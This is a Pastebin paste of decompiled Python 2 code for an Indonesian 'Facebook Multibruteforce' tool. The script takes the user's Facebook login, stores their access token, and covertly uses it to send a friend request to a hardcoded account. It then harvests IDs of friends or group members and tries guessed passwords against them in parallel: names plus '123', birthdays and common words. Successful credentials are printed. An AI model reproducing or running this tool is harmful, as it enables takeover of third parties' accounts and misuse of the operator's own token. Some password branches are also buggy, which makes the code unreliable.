Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # uncompyle6 version 3.3.5
- # Python bytecode 2.7
- # Decompiled from: Python 2.7.16 (default, Jul 7 2019, 21:23:16)
- # [GCC 4.2.1 Compatible Android (5220042 based on r346389c) Clang 8.0.7 (https://
- # Embedded file name: <Ahmad_Riswanto>
- import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib
- from multiprocessing.pool import ThreadPool
- try:
- import mechanize
- except ImportError:
- os.system('pip2 install mechanize')
- else:
- try:
- import requests
- except ImportError:
- os.system('pip2 install requests')
- from requests.exceptions import ConnectionError
- from mechanize import Browser
- reload(sys)
- sys.setdefaultencoding('utf8')
- br = mechanize.Browser()
- br.set_handle_robots(False)
- br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
- br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
- def keluar():
- print '\x1b[1;91m[!] Keluar'
- os.sys.exit()
- def jalan(z):
- for e in z + '\n':
- sys.stdout.write(e)
- sys.stdout.flush()
- time.sleep(0.1)
- def tik():
- titik = [
- '. ', '.. ', '... ']
- for o in titik:
- print '\r\x1b[1;91m[+] \x1b[1;92mPlease Wait \x1b[1;97m' + o,
- sys.stdout.flush()
- time.sleep(1)
- back = 0
- threads = []
- berhasil = []
- cekpoint = []
- gagal = []
- idteman = []
- idfromteman = []
- idmem = []
- id = []
- listgrup = []
- vulnot = '\x1b[31mNot Vuln'
- v = '\x1b[32m'
- r = '\x1b[91m'
- y = '\x1b[93m'
- u = '\x1b[36m'
- al = v + ' >> \x1b[39mFACEBOOK MULTIBRUTEFORCE \x1b[92m<< '
- pm = '\x1b[91m===================================================='
- os.system('clear')
- print y + pm
- print '\x1b[34m _ _ _ _ _ ___ _ ___ ____ ____ ____ ____ ____ '
- print '\x1b[34m |\\/| | | | | | |__] |___ | | |__/ | |___ '
- print '\x1b[34m | | |__| |___ | | |__] | |__| | \\ |___ |___ '
- print
- print y + pm
- print
- print '\x1b[91m[+] \x1b[34mSelamat Datang...'
- print '\x1b[91m[+] \x1b[34mKalo Ga Tau Username Sama Passwordnya'
- print '\x1b[91m[+] \x1b[34mBisa Di Ambil Di Link Bawah'
- print '\x1b[91m[+] \x1b[34mhttps://mytreep.icu/XIVp2'
- print y + pm
- jalan('\x1b[1;32m > \x1b[34mEnter username and password \x1b[92m<')
- print r
- username = 'rina'
- password = 'apriani'
- def restart():
- ngulang = sys.executable
- os.execl(ngulang, ngulang, *sys.argv)
- def main():
- uname = raw_input('username : ')
- if uname == username:
- pwd = raw_input('password : ')
- if pwd == password:
- print
- jalan('\x1b[1;33m[ Login Sukses ]')
- login()
- else:
- print
- jalan('\x1b[91m[ Login Gagal ]')
- print
- restart()
- else:
- print '\x1b[91mSalah'
- print '\x1b[91mContact Author Kalo Gak Tau >:(\n'
- print '\x1b[91mAtau Bisa Di Ambil Di Link ini https://mytreep.icu/XIVp2 >:(\n'
- time.sleep(2)
- os.system('xdg-open https://mytreep.icu/XIVp2')
- print
- restart()
- def login():
- os.system('reset')
- try:
- toket = open('login.txt', 'r')
- menu()
- except (KeyError, IOError):
- os.system('reset')
- print y + pm
- print '\x1b[34m _ _ _ _ _ ___ _ ___ ____ ____ ____ ____ ____ '
- print '\x1b[34m |\\/| | | | | | |__] |___ | | |__/ | |___ '
- print '\x1b[34m | | |__| |___ | | |__] | |__| | \\ |___ |___ '
- print
- print y + pm
- print
- jalan('\x1b[91m[+] \x1b[34mAuthor : Rina Apriani')
- jalan('\x1b[91m[+] \x1b[34mFacebook : Rina Apriani')
- jalan('\x1b[91m[+] \x1b[34mThanks To : All Friends')
- jalan('\x1b[91m[+] \x1b[34mGithub : github.com/rinaid')
- print y + pm
- print '\x1b[1;91m \x1b[1;92m >> \x1b[34mLOGIN AKUN FACEBOOK \x1b[92m<< \x1b[1;91m'
- id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ')
- pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ')
- tik()
- try:
- br.open('https://m.facebook.com')
- except mechanize.URLError:
- print '\n\x1b[1;91m[!] Tidak ada koneksi'
- keluar()
- br._factory.is_html = True
- br.select_form(nr=0)
- br.form['email'] = id
- br.form['pass'] = pwd
- br.submit()
- url = br.geturl()
- if 'save-device' in url:
- try:
- sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
- data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'}
- x = hashlib.new('md5')
- x.update(sig)
- a = x.hexdigest()
- data.update({'sig': a})
- url = 'https://api.facebook.com/restserver.php'
- r = requests.get(url, params=data)
- z = json.loads(r.text)
- zedd = open('login.txt', 'w')
- zedd.write(z['access_token'])
- zedd.close()
- requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token'])
- time.sleep(2)
- menu()
- except requests.exceptions.ConnectionError:
- print '\n\x1b[1;91m[!] Tidak ada koneksi'
- keluar()
- if 'checkpoint' in url:
- print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
- os.system('rm -rf login.txt')
- time.sleep(1)
- keluar()
- else:
- print '\n\x1b[1;91m[!] Login Gagal'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- def menu():
- os.system('reset')
- try:
- toket = open('login.txt', 'r').read()
- except IOError:
- os.system('reset')
- print '\x1b[1;91m[!] Token tidak ditemukan'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- else:
- try:
- otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
- a = json.loads(otw.text)
- nama = a['name']
- id = a['id']
- except KeyError:
- os.system('reset')
- print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- except requests.exceptions.ConnectionError:
- print '\x1b[1;91m[!] Tidak ada koneksi'
- keluar()
- os.system('reset')
- print y + pm
- print '\x1b[34m _ _ _ _ _ ___ _ ___ ____ ____ ____ ____ ____ '
- print '\x1b[34m |\\/| | | | | | |__] |___ | | |__/ | |___ '
- print '\x1b[34m | | |__| |___ | | |__] | |__| | \\ |___ |___ '
- print
- print y + pm
- print
- print '\x1b[91m[+] \x1b[34mAuthor : Rina Apriani'
- print '\x1b[91m[+] \x1b[34mFacebook : Rina Apriani'
- print '\x1b[91m[+] \x1b[34mThanks To : All Friends'
- print '\x1b[91m[+] \x1b[34mGithub : github.com/rinaid'
- print y + pm
- print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama
- print
- super()
- def super():
- global toket
- os.system('reset')
- try:
- toket = open('login.txt', 'r').read()
- except IOError:
- print '\x1b[1;91m[!] Token tidak ditemukan'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- jalan('\x1b[1;91m[+] \x1b[1;93mLogin Sukses')
- time.sleep(2)
- os.system('reset')
- print y + pm
- print '\x1b[34m _ _ _ _ _ ___ _ ___ ____ ____ ____ ____ ____ '
- print '\x1b[34m |\\/| | | | | | |__] |___ | | |__/ | |___ '
- print '\x1b[34m | | |__| |___ | | |__] | |__| | \\ |___ |___ '
- print
- print y + pm
- print
- print '\x1b[91m[+] \x1b[34mAuthor : Rina Apriani'
- print '\x1b[91m[+] \x1b[34mFacebook : Rina Apriani'
- print '\x1b[91m[+] \x1b[34mThanks To : All Friends'
- print '\x1b[91m[+] \x1b[34mGithub : github.com/rinaid'
- print y + pm
- print '\x1b[1;91m[\x1b[32m1\x1b[91m]\x1b[1;34m Daftar Teman'
- print '\x1b[1;91m[\x1b[32m2\x1b[91m]\x1b[1;34m Member Grup'
- print y + pm
- pilih_super()
- def pilih_super():
- peak = raw_input('\x1b[1;32mSelect \xe2\x96\xba\x1b[1;97m ')
- if peak == '':
- print '\x1b[1;91m[!] Jangan kosong'
- pilih_super()
- elif peak == '1':
- os.system('reset')
- print y + pm
- print '\x1b[34m _ _ _ _ _ ___ _ ___ ____ ____ ____ ____ ____ '
- print '\x1b[34m |\\/| | | | | | |__] |___ | | |__/ | |___ '
- print '\x1b[34m | | |__| |___ | | |__] | |__| | \\ |___ |___ '
- print
- print y + pm
- jalan('\x1b[1;91m[+]\x1b[1;32m Mengambil id teman ...')
- r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
- z = json.loads(r.text)
- for s in z['data']:
- id.append(s['id'])
- elif peak == '2':
- os.system('reset')
- print y + pm
- print '\x1b[34m _ _ _ _ _ ___ _ ___ ____ ____ ____ ____ ____ '
- print '\x1b[34m |\\/| | | | | | |__] |___ | | |__/ | |___ '
- print '\x1b[34m | | |__| |___ | | |__] | |__| | \\ |___ |___ '
- print
- print y + pm
- idg = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Grup \x1b[1;91m:\x1b[1;97m ')
- try:
- r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket)
- asw = json.loads(r.text)
- print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
- except KeyError:
- print '\x1b[1;91m[!] Grup tidak ditemukan'
- raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
- super()
- re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=9999999&access_token=' + toket)
- s = json.loads(re.text)
- for i in s['data']:
- id.append(i['id'])
- elif peak == '0':
- menu_hack()
- else:
- print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada'
- pilih_super()
- print '\x1b[1;91m[+] \x1b[1;92mID Berhasil Di Ambil \x1b[1;91m: \x1b[1;97m' + str(len(id))
- titik = ['. ', '.. ', '... ']
- for o in titik:
- print '\r\r\x1b[1;91m[+] \x1b[1;92mPlease Wait \x1b[1;97m' + o,
- sys.stdout.flush()
- time.sleep(1)
- print
- print y + pm
- def main(arg):
- user = arg
- try:
- a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
- b = json.loads(a.text)
- pass1 = b['first_name'] + '123'
- data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
- q = json.load(data)
- if 'access_token' in q:
- print '\x1b[1;91m[\x1b[1;92mSucceeded\x1b[1;91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass1
- elif 'www.facebook.com' in q['error_msg']:
- print '\x1b[1;91m[\x1b[1;93mCheckpoint\x1b[1;91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass1
- else:
- pass2 = 'sayang'
- data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
- q = json.load(data)
- if 'access_token' in q:
- print '\x1b[1;91m[\x1b[1;92mSucceeded\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass2
- elif 'www.facebook.com' in q['error_msg']:
- print '\x1b[1;91m[\x1b[1;93mCheckpoint\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass2
- else:
- pass3 = b['last_name'] + '123'
- data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
- q = json.load(data)
- if 'access_token' in q:
- print '\x1b[1;91m[\x1b[1;92mSucceeded\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass3
- elif 'www.facebook.com' in q['error_msg']:
- print '\x1b[1;91m[\x1b[1;93mCheckpoint\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass3
- else:
- lahir = b['birthday']
- pass4 = lahir.replace('/', '')
- data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
- q = json.load(data)
- if 'access_token' in q:
- print '\x1b[1;91m[\x1b[1;92mSucceeded\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass4
- elif 'www.facebook.com' in q['error_msg']:
- print '\x1b[1;91m[\x1b[1;93mCheckpoint\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass4
- else:
- pass5 = 'doraemon'
- data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
- q = json.load(data)
- if 'access_token' in q:
- print '\x1b[1;91m[\x1b[1;92mSucceeded\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass5
- elif 'www.facebook.com' in q['error_msg']:
- print '\x1b[1;91m[\x1b[1;93mCheckpoint\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass5
- else:
- pass6 = 'sayang123'
- data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
- q = json.load(data)
- if 'access_token' in q:
- print '\x1b[1;91m[\x1b[1;92mSucceeded\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass6
- elif 'www.facebook.com' in q['error_msg']:
- print '\x1b[1;91m[\x1b[1;93mCheckpoint\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass6
- else:
- pass7 = 'anjing'
- data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
- q = json.load(data)
- if 'access_token' in q:
- print '\x1b[1;91m[\x1b[1;92mSucceeded\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass7
- elif 'www.facebook.com' in q['error_msg']:
- print '\x1b[1;91m[\x1b[1;93mCheckpoint\x1b[91m]\x1b[0m\x1b[36m ' + user + ' | ' + pass7
- except:
- pass
- p = ThreadPool(30)
- p.map(main, id)
- print y + pm
- print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
- raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
- super()
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement